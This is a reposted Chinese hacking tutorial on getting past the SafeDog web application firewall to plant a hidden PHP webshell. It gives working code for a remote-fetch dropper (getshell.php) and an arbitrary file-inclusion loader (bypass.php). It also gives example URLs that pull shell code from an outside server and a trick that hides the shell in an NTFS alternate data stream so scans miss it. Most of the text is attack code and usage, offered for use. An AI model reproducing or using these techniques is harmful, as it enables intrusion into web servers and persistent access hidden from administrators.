转自:http://fuck.0day5.com/?p=176

Author:laterain

0×00

利用 ;shell.php 上传php文件,绕过安全狗对php后缀的限制
这种方法论坛以前有发过,不详说了

0×01

我们虽然能上传php文件,但是无法上传我们的shell,因为安全狗会检测post数据包里的内容
但是,我们可以不上传,而让服务器来获取我们的shell,那样安全狗就没办法啦
这就要用到一个php的函数 file_get_contents()
这个函数可以从远程文件中读取内容
但前提是 php.ini 中allow_url_fopen 得为 on 才行哦
因为allow_url_fopen在配置中默认为on,所以这种方法的可用性还是很高滴!
那么我们就先利用0×00的方法传个getshell.php

<?php
$remotecode = $_REQUEST['code'];
$targetfile = $_REQUEST['file'];
$shellcode = file_get_contents($remotecode);
$fp = fopen($targetfile,"a");
fwrite($fp,$shellcode);
?>

0×02

虽然0×01绕过了对POST数据包检测的限制,但是还是无法绕过安全狗对文件内容检测的限制
但是呢,我们可以利用文件包含来绕过这个限制。因为安全狗只检测我们访问的文件的内容
那么我们再上传一个bypass.php

<?php
$shell = $_REQUEST['shell'];
require("$shell");
?>

如果用0×01的方法上传就这样访问(你得先搭建个远程的服务器来放要传的文件)
http://fuck.0day5.com/;getshell.php?code=http://www.0day5.com/bypass.txt&file=bypass.php
这样就在与;getshell.php的相同目录下生成了bypass.php
然后再用相同的方法将shell传上去,比如说phpspy.txt
然后再访问
http://fuck.0day5.com/bypass.php?shell=phpspy.txt
这样就可以任意操作shell了。

0×03

虽然我们的shell上传上去了,也可用了,但是如果管理员很勤劳,每天都用安全狗扫网马那我们的shell不就掉了吗
那么,我们就要绕过安全狗对shell的检测
这里我们用到ADS,因为安全狗是无法扫描ADS建的文件的哦,但文件包含可以包含的
那么我们上传shell时就这样传
http://fuck.0day5.com/;getshell.php?code=http://www.0day5.com/phpspy.txt&file=fuck:1.txt
然后再访问
http://fuck.0day5.com/bypass.php?shell=fuck:1.txt

这样就得到一个隐藏的shell啦^.^

点评:对于php的千变万化 防火墙软件真的很不好做

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。